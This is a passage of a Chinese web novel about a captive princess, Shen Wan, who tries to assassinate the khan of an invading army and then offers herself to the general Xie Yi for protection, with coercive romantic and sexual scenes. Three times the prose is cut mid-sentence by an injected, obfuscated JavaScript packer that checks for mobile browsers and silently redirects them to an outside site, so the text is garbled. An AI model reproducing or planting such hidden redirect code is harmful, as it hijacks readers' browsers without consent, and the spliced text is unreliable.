可父皇对朝野微词置若罔闻,竭尽所能给予她所有荣光,甚至将她寄到已故皇后名下,成为真正的嫡出公主。自此,她成了大胤最受宠的帝姬,也是帝国最耀眼的明珠。 如今那个赋予她光芒的人、她最亲最爱的人,就这样生生被砍下头颅,挂在异族的高台上。 灾星……她也许真的是灾星也说不定。 “啪!”一块石子落入盆中,水花溅出浇了她一脸。 “哟,我当是谁,原来是咱们的昭宁帝姬。”女声尖锐,上挑的尾音带着几分刻薄。 “是你。”沈绾抬眸,飘摇破碎的神思随即收回。 来人是英国公家嫡女,名唤凌娩。此次大胤战败,她也在被俘名单中。只是今日似与往日不同,只见她头戴织金红宝石雀翎冠帽,身着狐皮紫玉锦缎夹袄,脚蹬一双松石绿点缀的马皮靴,一身异族装扮尽显贵气。 “大胆,见了珂吉侧妃还不行礼!”一拓摩女婢从凌娩身侧走出,气势汹汹说着生硬的中原话。 “侧妃?”沈绾恍然,她这两日听说拓汗耶齐格新纳了位貌美的中原人做侧妃,没想到竟然是她! “难为帝姬还记得我。”凌娩抬手止住女婢,徐徐上前几步,眼底冷意如三九寒冰:“我生怕帝姬忘了,我是因何才到这的?” 她一字一顿,如恶魔低语。 沈绾手臂一滞。 她当然明白凌娩话中含义。当时拓摩屡屡在边境挑衅,英国公生怕落入敌军圈套极力劝谏,可父皇却一意孤行,亲率大军出征,最后不仅自己落网,更引得敌军大举攻城,致使英国公战死城下。 当日凌娩和几位公侯小姐奉皇命入宫为她伴驾,这才在拓摩破城后一并被俘。 “帝姬觉得,这是不是因果报应!”凌娩勾起殷红的唇角,笑得癫狂,“你果真是大胤的灾星,你和你那位伟大的父皇死不足惜,可为何要拉着我们陪葬!我父亲赤胆忠心,却惨死城下,我一个名门贵女,如今却要委身异族,你说这笔账,我们该找谁算?” 凌娩的话钻心刺耳,可沈绾竟无法反驳。她垂着眼睫,一张清丽的面容不见悲喜。 凌娩被她的沉默激怒,脚下猛地一踢,霎时水花四溅,盆中衣物和着泥灰散落一地。 她弯腰钳住沈绾绷紧的下颌,忿然道:“装什么!无论你当初如何高高在上,如今也不过是条丧家之犬。哈哈哈哈……你猜猜,在斩了那位昏君之后,下一个会轮到谁?是你,还是——柔嘉帝姬?” “你……”沈绾瞳仁一震,下意识抬手想要掰开手腕,却发现自己根本没有力气。 凌娩狠狠甩开手,直起身子冷嗤:“我等着瞧,到时候无论是你,或是你的三姐姐,我都会求拓汗留一具全尸,然后将它永远埋在这里,我要让你们永远回不了大胤!” 凌娩说完便拂袖而去。沈绾伏在地上呼吸艰涩,她缓缓将右手伸进袖中,手心尚未结痂的伤口被冷水泡得已无知觉,却在碰到袖中硬物那刻猛地一紧。 ** 拓摩的战事准备井然有序,到了暮色四合之际,整个营地已是全员戒备。 耶齐格清早的征战宣言在军中似是点了把火,整个营地因此沸腾起来。眼看大战在即,他遂下令大摆宴席以振士气。 帐外篝火四起,帐里灯火通明,将军士卒推杯换盏,三巡过后忽有人提议:“干喝酒有什么意思?不如咱也学学中原人,叫几个美人前来跳舞助兴可好?” 此言一出,立即有人附和:“说的在理,咱们营中可有不少中原美人。” 凌娩坐在王座旁巧笑低语:“拓汗,妾身在中原时曾听闻,昭宁帝姬的舞姿乃天下一绝,不如请她前来一舞如何?” 耶齐格顿时来了兴趣,转头望向谢翊:“阿烈,她是你的人,本汗请她过来为大家助兴,你不介意吧?” 谢翊坐在王座一侧,冷峻的面容无甚表情,似是在思虑什么。良久,方才微微颔首。 拓汗像是早就习惯他这副样子,满意地挑了挑眉,抬臂一挥:“去,请昭宁帝姬前来一舞!” 沈绾由女婢引着再次迈入王帐,依旧是那身素白衣裙,只因连日未曾梳洗,裙边染了泥尘,如墨色在宣纸上晕开。三千青丝随意披在脑后,唯有额前垂下几缕,越发衬得她清冷娇弱。 明明一身落魄装扮,偏在她身上生出几分凌乱美感。 她浓睫低垂,盈盈一伏,伴着胡笳声起,莲步轻移,白裙如玉莲初绽。曼妙身姿轻盈旋转,好似翩跹起舞的精灵,可她面上偏又淡然无波,仿佛瑶台飞下的神女,圣洁得让人不忍亵渎。 座下众人无不屏息凝神,沉醉其中。耶齐格更是看得入迷,鹰隼般的眸子微微眯起。忽地,摇曳舞裙中闪出一道寒光,匕首自袖摆抽出,锋利的刀刃如离弦之箭刺向王座。 一切发生的猝不及防,电光火石间,一道墨色身影闪身而下,在众人还未看清前将白裙挡在身下,手腕旋即一转,不动声色将匕首折回。可沈绾似是拼了死命,立即将匕首换到另一只手,转身欲再次上前。 谢翊大掌一勾,拦腰将沈绾死死圈入怀中。 “阿烈,你这是……”耶齐格被眼前景象惊到。 谢翊单手将沈绾双腕缚住,暗暗掩在衣袍之下,表面看去二人好似亲密地拥在一起。 “她身子弱,昨晚折腾一宿,我怕一时失态冒犯了拓汗。”谢翊说得面不改色,一番话更是让人浮想联翩。 “跳个舞而已,哪里就这么娇弱了?”耶齐雷粗声粗气道。 谢翊眸子一暗,“巴泰王既想看舞,那不如……”他冷眼扫向王座旁,“听闻珂吉侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599234|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃的舞也是一绝,不如就请她为诸位助兴。” 凌娩面色一僵。 “没想到阿烈这般怜香惜玉,”耶齐格清了清嗓,暧昧一笑,“本汗也不便打扰你们好事,今日这舞就暂且不跳了。” “多谢拓汗。”谢翊伏身拜谢,半拖半抱将沈绾拉出帐外。 怀中人安静得出奇,一路没有说活,任由谢翊将她带到一处僻静地。 一道银光划破天际,将沈绾的脸照得苍白如纸,滚滚闷雷在云层间挤搡,转眼化作豆大雨珠噼啪而下,很快便浸湿了衣衫。 谢翊不曾对她设防,大掌刚一松开,锋芒便深深刺入胸膛。 沈绾水眸猩红,执着刀柄的玉手隐隐发颤,大有同归于尽的架势。谢翊眉间微动,眼睫眨也未眨,声音低沉:“你想做什么?” “我要杀了你们!我要杀了你们……”雨水滑过眉骨,混着泪珠顷刻便模糊了视线。 谢翊抬手覆上,只轻轻用力,便拧开玉腕,匕首轻而易举被拔出,他随手一甩,闪着寒芒的刀刃直直插向地面。 “看来我当年送的这件礼物,公主用得很是衬手。”他缓步上前,微微上挑的眼尾藏着难以捉摸的邪魅,“你想杀我?如何杀我?在绝对力量面前,你连还手的余地都没有!” 沈绾被他逼得连连后退,一直紧绷的心理防线在触到他眼底冷意那刻彻底崩塌。 “你连自己真正的仇人都没弄清楚,就想着报仇?” “你……你什么意思?”沈绾一怔。 “昨日那名使臣并非大胤内监,而是被人派来的杀手。”谢翊的声音同冰雨一样冷冽,“真正杀你父皇的不是拓汗,而是你的叔父。” 轰隆—— 一道惊雷在耳边炸响。 叔父,竟是叔父!他得了皇位还不够,竟还要狠下杀手! 没想到最后置父皇于死地的,不是敌军,而是至亲。 沈绾心脏猛地一抽,哑声开口:“那孙樾……”她那未婚夫婿刚继承王位不久,难道也投向了晋王的阵营? “他?”谢翊轻嗤,“他和他的主子一样,是个怂包,只一味怯懦地当看客,逃跑时被士兵发现,被那太监推出去当了垫脚石。” 谢翊的话字字句句砸在耳边,将沈绾的思绪撞得四分五裂,她懵懵站在雨里,不知作何表示。 她原本期盼的一切,一夕间全部化作泡影。 谢翊抬手抚过她的脸颊,眼底闪过几不可察的动容。 “我之前的话仍旧作数,于你,我随时恭候。” 男人脚步声渐远,不多时便彻底消融进雨里。 沈绾嘴唇翕动,她想要大叫,却怎么也叫不出来,她想要哭,可眼眶却酸涩发疼,巨大的绝望和痛苦溢满胸腔,快要将她溺毙。 又是一道白光闪过,在锋利刀面上折出寒光,晃得她眼底生疼。 ** 帐外雨帘铺天盖地,扰得人莫名心烦。 谢翊坐在案桌前,手上兵书半日也没翻动一页。 沈绾到底会怎么选择,他心底没有多大把握。她性子一向很倔,若是一时想不开…… 俊眉微蹙,心中担忧无限扩大,他忽地起身,抬步欲往外走。刚迈出几步,帐帘被人从外掀起。 沈绾挟着一身寒气走进来,湿透的发丝粘在脸侧,将她不染纤尘的玉容衬得愈发清艳。 她在帐中站定,缓缓弯下玉膝,俯身跪地,如一朵饱经风雨的山茶花,此刻只剩无尽的脆弱和娇柔。 “沈绾命薄,求——将军垂怜……” 5. 第五章 春歌尽 女郎一向清冷的声线此刻染上无尽哀怜,她羽睫低垂,阒然遮住晦暗眸色。 谢翊心头深处某个地方悄无声息软了一下,心底幽幽叹了口气。她到底是,走入了他精心织就的牢笼。 男人徐步走上前,用长指勾起女郎小巧的下巴,“可想清楚了?” 沈绾咬紧唇瓣,血液充盈在皮肉下,愈发鲜红。她似是下了很大的决心,再抬头,已是泪眼婆娑,那副楚楚可怜样,任是哪个男人看了都会心动。 “妾身蒲柳之姿,如今已入绝境,若能得将军庇佑,妾身感激不尽。” 她明明言辞恳切,可谢翊却在她眼底看到一丝掩饰与伪装,即便脸上这面具再精妙,他也清楚地知道,这不是真实的她。 算了,既然她愿意低头,那他就陪她演下去好了。 “既然想清楚了,那你可知,自己到底该怎么做?” 谢翊长身玉立,沈绾跪在他身下,只迟疑片刻,素手缓缓解开衣襟,外衣滑落,露出女子光洁滑腻的锁骨。 谢翊眸色幽深,仍旧负手站在那,面上却不见一丝波澜。 沈绾见没有回应,纤指颤了颤,再次覆上里衣。 “够了——”男人终于出声,一向低沉的声线似是染了怒气。 他烦躁转过身,背对着她:“把衣服穿上,我说过,我不喜欢勉强。” 沈绾低声道:“没有勉强,侍奉将军……是妾身心甘情愿的。” “是吗?”谢翊勾了勾唇,声音似是结了层冰,“那这样也是心甘情愿的?” 他猛地回身,大掌带着强劲的力道一把扣住她的后脑,薄唇覆上,带着不容拒绝的威慑。 沈绾未来得及反应,柔嫩的唇瓣便被他噙住,碾转啃咬,强势、隐忍、愤怒、缱绻……各种莫名情绪似乎都被他融在这个吻里。 清冽干净的气息不管不顾钻入鼻尖,一呼一吸间竟都是他的味道。 一股电流从唇间窜过脊柱,她倏然一颤,本能想要抗拒,可理智还是放弃了抵抗。 既然下了决心,就要必须放下一切! 不久前,她有那么一刻想要自尽,可父皇临终前的叮咛在脑中闪现:活下去!她一定要活下去! 大仇未报,家国未复,她有何颜面去死?更有何颜面去见父皇?她不能这么没骨气!已入绝境,那她必须为自己谋一条生路。 既然这个人是谢翊,那她就好好利用这个筹码……只要活着,她总有翻盘的一天。 少女敛下心思,默默闭上眼,承受他所有激烈。她尚未经人事,又是第一个吻,自是不知该如何迎合才能让他满意,只一味顺着他莽撞的攻势配合。 许是察觉到她的顺从,谢翊猛地睁开眼,一把将人推开。 “为什么?”他眼底漆黑一片,亮得吓人。 “什么?”沈绾没料到他这么快结束,红唇微启,有些发懵。 是她配合的不好吗? “为什么不拒绝?”他声音低哑,似乎强压着愤怒。 沈绾被问得一头雾水,怔怔开口:“妾身是将军的人……” “呵。”幽暗的眸子盯着她瞧了半晌,忽而自嘲地弯了弯唇,他直起身后退两步,“今夜没兴致了,你去里间把自己收拾干净,这副样子,真让人倒胃口。” 沈绾竭力控制住暗暗发抖的身子,重新将衣衫掩起,“那妾身先去梳洗。” 她举止得体,语气柔婉,可脸上却沉寂无波,让人根本看不出她在想什么。 直到袅娜的身影消失在屏风后,谢翊才松开紧握的拳头。 明明是他让高悬的月亮陷落沟渠,他却没有一点高兴。 他属实没有想到,当她一脸悲戚出现在他面前,委屈求全求他庇佑时,他竟莫名觉得烦躁。他生气,气自己是不是错了;他愤怒,怒她的假模假式。他要的不是这样虚与委蛇、惺惺作态的她,而是那个生动鲜活、明媚张扬的她。 谢翊啊谢翊,你真是天底下最最卑劣的人! 明明已经得到一切,却还是不知足! 罢了,只要这个人是她,只要她肯在他身边,不管是以什么面目对他,哪怕最后自己万劫不复,他也认了! ** 沈绾梳洗的时间未免有些过长了。 虽是临时搭建的帐篷,可谢翊因为身份尊贵,连营帐也是同拓汗一样的规格。帐中由屏风一分为二,前面是会客间,后面是内间,因想着沈绾今晚也许会来,他早早吩咐人在里间备下热水,她不至于耽搁这么久。 转入屏风挑开帘帐,只见浴桶中的女子昏昏沉沉靠在桶边,玉瓷般的脸颊掩映在水雾里,再次浮起红潮。 伸手一探,果然又发烧了! 谢翊果断从旁扯来干净绒毯,将人从桶里抱了出来。她乖巧依偎在他怀里,轻得像片羽毛。 将人放在榻上,仔细替她擦干头发,又找来军医探脉煎药,待把一切收拾妥当,再三向军医确定她并无大碍后,谢翊才彻底松了口气。 “将军,您肩上的伤要及时上药,听说马上又要出征,可不能大意。”老军医苦口婆心道。 “这点小伤不碍事,”见老军医面容严肃,谢翊无奈转了话风,“有劳您挂念,我晚些会自己上药的。” “唉……”老军医摇头叹息,“年轻人,还是对自己多上点心。” 沈绾被灌下一大碗中药,口中苦得要命,朦朦胧胧睁开眼,只见昏黄烛火下,男人劲瘦挺拔的身影背对着她,正往胸膛上药。 那个位置,是她刺下的伤口。 视线留神一凝,竟发现男人背上浅浅留有不少疤痕,看痕迹,像是旧年伤疤。 他回到拓摩不到半年,这场战争也不过三个月的时间,他怎会有这些伤痕?难道早在她身边做影卫时,就已经留下了? “醒了?”男人转头轻笑,“我还是头一回见到泡澡把自己泡晕的。” 谢翊缠紧绷带,合上衣领,方才眉眼间蕴染的怒意早已被舒展的笑意取代。 他其实只比沈绾大一岁,只因平日杀伐征战,多是以持重沉稳的样子示人,此刻倒难得露出几分少年气。 “你才被泡晕,我明明是……”沈绾刚醒,神志还未完全回拢,一听见他这话下意识羞恼地努了努嘴。 谢翊难得见她这般娇俏,心中一喜,愈发逗弄起来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599235|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明明怎样?自己发烧了也不知道,我这可是第二次帮你请大夫,这诊金你打算如何付?” “诊金?”沈绾水眸迷茫,她还是第一次听说军营里看病付诊金的? 见谢翊嘴角噙笑,她立即意识到他的捉弄,先前意识回拢,她随即敛了神色,翻了个身面朝床榻里面。 他们之间现在这种关系,他居然还有心情跟她玩笑?沈绾忽然觉得谢翊像是变了个人,记忆里那个永远冷着脸,在她身边沉默寡言的小侍卫,居然会有一天坐在她面前说笑。 真是不可思议。难道说当初在大胤,他没有过一天舒心的日子?也是,在异国当俘虏哪里有什么值得高兴的,他不苟言笑也是人之常情。 现在的她,跟那时的他,还真像啊。 谢翊见她再次恢复沉默,尚未散去的笑意凝在眉角。他侧头熄了烛火,合衣上了床榻。 沈绾是第一次和人同睡一床,而且还是个对她有所企图的男人,尽管早在心底做了无数次心里建设,可她还是绷紧了身子。 温热坚实的身子躺在身侧,却久久不见动静,匀长的呼吸似乎在告诉她,他已经睡着了。 “将军……”沈绾咬咬牙,侧过身靠上去,既然早晚要做,不如她主动出击。 “睡觉。”男人声音寡淡。 “你……”沈绾摸不着头脑,他不是要她吗?现在她主动献身,他怎么又不为所动? “睡觉。”他淡淡又重复一遍,随即侧过身背对她,没有一丝情绪。 “……” 真是善变的男人。 ** 次日清晨,拓摩士兵早早在营地操练起来,旌旗在烈风中飘舞,大大小小的将士领着各自方阵厉兵秣马,大有一吞山河的气势。 代鄯一袭白衣站在校场旁,望着整装待发的队伍微微眯起了眸:“谋划多年,总算是到了今天。” “所以那晚你故意放那太监入老皇帝的营帐,也是筹谋中的一环?”谢翊一身暗纹墨袍站在身侧。 “怎么?”代鄯煦煦然一笑,“为你那小美人感到心疼?” 谢翊没有接话。 “中原有句成语:鹬蚌相争,渔翁得利。他们既想厮杀,我又何必阻拦,当个安静的渔翁不好吗?”代鄯双手抱前,“况且这是个很好的机缘,而拓摩现在,很需要这样的机缘。” 谢翊转头望去,只见一向温润如玉的人此刻面色冷凝,往日含笑的眸子布满阴厉,好似突然变了个人。 “拓摩已经沉寂太久了,咱们那个拓汗又是个唯利是图的人,只看得见眼前小利。论胸襟格局,他还是差了些,唯有借此机会狠狠激一下,他才能真正下定决心。” 谢翊并未感到意外:“这就是你在荀山三年学到的东西?” “怎么,你觉得还不够?”代鄯歪了歪头,沉声肃然:“古往今来王朝更替,得道者昌,失道者亡,耶齐格虽不见得是长久的领袖者,可眼下逐鹿中原,他尚可一试。” 他促狭一笑,转而望向谢翊:“阿烈,其实你也是这么想的吧?” 士兵的喧吼声伴着凛冽北风飘向天际,谢翊负手而立,久久没有回答。 6. 第六章 望故城 回到营帐时,沈绾早已起床梳洗完毕。他早上命人给她送来一套干净衣裙,虽是拓摩式样,可她穿在身上,配上简单利落的两条麻花辫,清丽又不失俏皮。 这是任何拓摩姑娘都穿不出的美丽。 “将军回来了。”沈绾盈盈一伏,端来茶点:“早上妾身起晚了,不知将军是否用了早膳?” 她微垂着羽睫,仍是那副柔柔淡淡的模样。谢翊心头一滞,没来由冒起邪火,却被他生生压了下去。 他也不看她,径直走到案桌前,轻飘飘来了句:“大军出征在即,按规矩所有女眷皆要遣回拓摩本部。” 沈绾羽睫一颤,谢翊敏锐察觉到她的异动,薄唇浅弯:“本将军想,你也不愿看到异族铁蹄踏入故土,还是……” “将军!”沈绾双手交覆握紧,果决开口:“请容许妾身随将军一道。妾身……舍不得离开将军。” 她低眉含羞,尾音携了几分娇软,像极了女儿家对外出夫君的不舍,简直让人分不清她话中真假。 谢翊瞧了她半晌,坐在紫檀木椅上轻笑开口:“舍不得?你这副样子,我可看不出有丝毫不舍。” 沈绾只犹豫片刻,长睫抬起时,一双清泠泠的眸子无辜又委屈。她款步上前,在谢翊身侧停下,忽地腰肢一软,竟双手环颈软软跌坐进他怀中。 独属于女儿家的清甜馨香丝丝缕缕钻入鼻尖,谢翊瞳仁一缩。 “将军。”她似是撒娇般柔柔道:“妾身也是头一回侍奉人,有些不懂的地方,还请将军包涵。” 不待谢翊作出反应,两片柔软唇瓣蓦然贴上喉结,毫无章法轻吮含舔,像是小猫般挠得人心痒。 幽眸里顿时掀起滔天暗流,似要将他淹没。 薄唇溢出两声闷哼,只迟疑半晌,男人立即抬掌按住在脖间作乱的小脑袋,炙热薄唇覆上,顷刻夺去她所有呼吸。 这是她第二次和他接吻。她从来不知道,看上去那么清清冷冷的一个人,双唇却这般烫人,他的吻依旧强势霸道,这回却带着情难自抑的喘息,肆意啃咬。 沈绾不知道旁人接吻是不是也是这样,可谢翊这架势,仿佛随时准备把她拆吞入腹。 她被吻得有些窒息,下意识推了推,可腰肢却被搂得更紧。 “将、将军……”她小手拍打着他的肩,她快不能呼吸了。 舌尖留恋不舍扫过她的下唇,扯出一丝晶莹,沈绾被吻得水眸迷蒙,甚至来不及羞恼,那双薄唇又顺着颈侧开始点火。 这回他吻得很耐心,先是用唇瓣轻轻扫过,接着舌尖由轻到重舔舐研磨,似乎要将她彻底融化。 “唔……”沈绾身子快要软成滩水,她仰起修长的脖颈,想要压抑住这羞人的声音。 “舒服吗?”男人边吻边抬眸,亮如曜石的黑眸里满是少女动情的神态。 他简直着迷。 沈绾面上羞得不愿回答,可心里却一阵慌乱,软成这样并非她本意,是身体违背了意志,由不得控制。 这不过是女子与人欢好时的正常反应罢了,换个人也一样如此。她心里安慰自己。 察觉到她的不专心,谢翊齿间不轻不重一咬,沈绾吃痛回神。 “这种时候,还有心思想别的事?”他声音低哑,粗喘声钻入耳蜗。 “没有。”沈绾朝他怀里靠了靠,娇喘微微:“妾身是在想将军。” 她明明媚眼含笑,可笑意却不达眼底。 “想我?想我什么?”谢翊好整以暇摩挲她的玉颈,上面皆是他方才印上的朵朵红莲,看上去美艳至极。 “在想将军以前……”刚出口忽然停住,过往那些的日子,他应该不想提及吧。 “呵。”谢翊轻笑,薄唇凑前耳语:“以前我对你的心思,可不止一个吻这么简单。” “嗡——”沈绾脑中闪过一阵空白。 这登徒子!竟堂而皇之说出这些浪荡话,原来他早在她身边时,就已经生了这些龌龊心思! 不动声色将思绪按下,沈绾眨了眨眼,灵动又狡黠:“那将军可以带妾身同行吗?” 谢翊把玩着她颈侧发丝,长眉半挑:“那阿鸾先回答我一个问题。” 沈绾被他亲昵的称呼叫得有些意外,“将军想问什么?” “你为何要随我回胤都?” “因为妾身不愿和将军分……” “我要听实话。”谢翊狭长的眸子暗得吓人,“看在我方才让你这么舒服的份上,阿鸾就不能告诉我一句实话?” 他将她的脸从怀中勾起,一瞬不瞬盯着,像是要扒开她的层层伪装,直窥最真实的内心。 “将军以为什么是实话?”她静静回望向他,没有丝毫谎言被戳破的慌张。 “我这个人向来讲究交易公平,”谢翊轻抚上她耳侧,寂然开口:“你肯委身于我,我自然想知道你的真实想法。” “乱世之中,沈绾一亡国孤女,想求一人庇佑,难道还不够吗?” 谢翊似笑非笑,“你不愿说,是觉得我不会帮你?” “你不妨先告诉我,即便我不会帮你,也断然不会阻止你。”谢翊低声诱哄,像极了等待猎物落入圈套的大灰狼。 “啊——”沈绾红唇翕动,蓦然吃痛出声。 原来谢翊见她尚在犹疑,竟恶劣咬上先前颈侧红痕。 他在逼她做最后决定。 沈绾被这阵刺痛一激,眼底柔色瞬间褪去。 “你可还记得我当年说的话?”他在耳边低语。 “什么?”水眸泛起困惑。 谢翊敛了神色,一字一顿道:“我说过,此生愿以命为契,做你的影子。” 低沉有力的话砸在耳边,记忆中的少年与眼前人瞬间重合。 沈绾眼中闪过一阵恍惚。 “将军真想知道?” 谢翊悠悠颔首。 红唇莞尔,明艳如繁花初绽,可谢翊看得出,这笑容背后却满是冷寂狠绝。 “杀了他们!” 她说的不明不白,谢翊却满意勾唇,答得干脆:“好。” 他这声好更是意味不明,沈绾眼神微微一凝,侧眸望去:“你……” 话音未落,忽有人撩帘进门,“阿烈,我都安排好——” 代鄯脚步一顿。 沈绾匆忙从怀中起身,迅速将微敞衣领往上拉好。她素来脸皮薄,原本勾引谢翊就已经耗费心力,没想到还被人撞见,如果有地洞,她此刻还真想钻进去。 谢翊倒是一副无所谓的模样,云淡风轻道:“何事?” 代鄯歉意一笑:“我没打扰你们吧?” “你觉得呢?”谢翊眉梢轻挑,看不出是喜是怒。 “不是你一个时辰前让我来的?”代鄯缓缓放下遮面的袖口,温声解释:“你带小帝姬回胤都,自然要让她把该见的人都见了。” 沈绾恍然,原来他根本没打算把她留下。既然早就做了决定,竟还让她…… 真是狡猾又恶劣的男人! 沈绾又羞又愤,暗暗瞪了谢翊一眼,可后者却像没事人似的坐在那。 “我现在可以带小帝姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599236|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了吗?”代鄯察觉出二人微妙的气氛,尴尬开口。 不待谢翊回答,沈绾先疑惑道:“去见什么人?” “自然是帝姬该见的人了。”代鄯卖起关子。 ** 迈进代鄯营帐时,沈绾才发现这里的物件陈设比起谢翊,更不像一个拓摩人的住处,屏风书架、砚台案桌,完全是中原书生的风格。 沈绾只匆匆一瞥,视线便落到案几旁的女子身上。沈葭的气色看起来依旧不好,一双眸子寂如古井,没有一丝亮光。 “你们有话先聊,我先出去。”代鄯体贴地掩上门。 “三姐姐……”沈绾轻唤了声,弯下身蹲在沈葭膝前,伸出手握住她。 “阿鸾?”沈葭听到声音又惊又喜,颤着手在沈绾脸侧抚了抚,一脸关切道:“你没事吧?” “没有,我很好。”沈绾眼尾通红,“你怎么样?那些人有没有欺负你?” 她仔细瞧了一圈,并没有在沈葭身上发现伤痕。三姐姐自小患有眼疾,身子又弱,那帮蛮夷也许没兴趣对她下手。 沈葭安慰地扯了扯唇角:“我没事,那个名叫代鄯的拓摩人,倒是个君子。” “君子?”沈绾半信半疑,冷嗤道:“他们拓摩人哪还配称君子!” 沈葭温柔地摇摇头:“说来你也许不信,他曾拜明景崇老先生为师,在荀山听了三年课,他老人家座下的弟子总不会坏到哪里去吧?” “明景崇?”沈绾讶异,她虽长居深宫,也曾听过这位老先生的大名。 他曾是先祖父那朝的两榜进士,博学大儒,曾在民间设下教坛,授业于天下有志书生。在他的课堂上,不分身份贵贱,不论汉人异族,只要肯虚心求学,他都愿施教,因此在大胤乃至边境,声望极高。他门下弟子也多是有识之人、经论之士。 “想不到还有这层机缘。”沈绾低喃,不禁流出些许羡慕。 “阿鸾,你怎么知道我在这?”自从那晚沈绾昏倒被带走,沈葭担心了好几日。 沈绾顿了顿,简单将这两日发生的事说了遍,听到父皇身死,沈葭身子忽地一晃。 “三姐姐!”沈绾眼疾手快将她扶住,“眼下咱们唯有自保,以待来日。真正的仇人现在还好好活着,我们怎能轻易言败?想找他们算清这笔账,就得先好好活着。接下来,咱们还有很长的一段路要走。” 沈葭听出话中别音,眉间浮起忧色:“那你这次随拓摩回大胤是……” “三姐姐。”沈绾斟酌半日,艰涩开口:“我知道晋王是你生父,可如今于我,已经没有选择的余地了。” 沈葭的脸色在听到“生父”二字后陡然一僵,随后释然地拍了拍她的手背:“从他抛弃我和母亲的那一刻,就已经不是我父亲了。” “我们从小一起长大,你想做什么,就好好去做,不用顾忌我。”她的语气依旧温婉,可依旧掩不住眸底哀戚。 沈绾抑住眼底酸疼,点了点头。 “阿鸾。”沈葭张着一双空洞的眸子,神色怅然:“这几日我时常感觉恍惚,好像一切只是场噩梦。你说这辈子,我们还能回家吗?” 沈绾抹去眼角晶莹,拉着沈葭出了营帐。 碧空如洗,举目苍茫,她指着天际一群南飞的大雁轻声道:“三姐姐,你听见大雁的声音吗?它们飞翔的方向,就是大胤的方向,总有一天,我们会回去的。” 不是以亡国俘虏,而是以真正主人的身份。 “嗯。”沈葭脸上浮起向往,她握紧沈绾手心,浅浅笑道:“我们都会回去的。” 7. 第七章 金戈起 鼓角齐鸣,拓摩大军一路浩浩荡荡,驶向雁鸣关。 当初拓摩的驻扎之地在漠云十二州最北边,其余十一州均分布在东南、西南两侧,且有大胤重将把守,只要一路向南撕开一道裂口,一鼓作气破了雁鸣关卡,那胤都便如囊中之物。 当初耶齐格与晋王里应外合,诱使胤帝在雁鸣关下一决胜负,走的就是由北向南的路线。可是如今晋王早有防备,整个关外防线固若金汤,已不像当初那样轻易可破。 “军师,依你看接下来我们该沿哪条路线行进?” 耶齐格勒马止步,率众人停在一处高地,举目望去,边境城池尽入眼底,灰蒙蒙的石墙宛如一条长龙镶嵌在地平线上。 代鄯道:“属下认为,漠云十二州易守难攻,切不可操之过急。” “咱们准备这么久,等得就是这一天!”耶齐雷不以为然,大声道:“拓汗,让我亲率一支骑军,三日内定能拿下两座城池,打得那些胤军抱头鼠窜!” “王爷此言差矣。”代鄯泰然自若,煦煦然道:“巴泰王骁勇,两座城池自然不在话下,可咱们的目标是胤都,为了区区两座城池打草惊蛇,岂非因小失大?” “那你说如何!”耶齐雷扬鞭忿忿。 谢翊自身后悠悠道:“兵法有云:必胜之术,合变之形,妙在于乘。” 耶齐雷不耐烦皱眉:“别跟我整那些弯弯绕,老子听不懂!” 代鄯瞥了眼谢翊,心领神会,淡然一笑:“将军的意思是,作战之要,在于乘敌之隙,即便对方坚不可摧,咱们也可制造些战机。” 说着,展开手中舆图,指着其中几处地标侃侃道:“所谓一鼓作气,再而衰,三而竭。属下以为,我军一路来声势浩大,大胤定会严防死守,如今兵临城下可先暂且缓兵几日,以此消磨对方气势,如此一来既可打乱敌方阵脚,让其摸不准我们动向,不敢冒然出兵,也可借此机会暗渡陈仓。 我们可暗地兵分三路,一路沿西南游击,主要牵制住西三城;主力大军则向东南行进,借东厥之力双向夹击,让其误以我军借东南路径入关;而这最后一路则瞄准时机,趁其不备沿南猛攻,只要短时间内东西两侧无兵前来救援,雁鸣关指日可破。” “好!”耶齐格眼睛一亮,双目灼灼:“军师所言真可谓妙计!那就请巴泰王领一路兵西进,至少在三日内牵制住西三城,让他们派不出援兵。阿烈则率主力向东,东厥王乃本汗岳丈,前日本汗已发出手信让其待命,如此一来联合东厥之力,自可将东南五城尽收囊中,本汗则亲自率兵南进。此次,定要攻破雁鸣关!” “是!”众人领命。 谢翊的亲兵训练有素,沿东南路径在傍晚时分抵达城下,与此同时,东厥王收到耶齐格手书自东线发兵,早已在边境待命。 “烈将军!”东厥王驾着黑骢战马,于猎猎北风中热情招呼:“我们又见面了!” 谢翊旋身下马,向东厥王行了个晚辈礼,“汗王亲自率兵助阵,我代拓汗拜谢。” 东厥王朗声大笑,指着身侧一位少年道:“这是我儿乌图,此次随我们一同出征。” 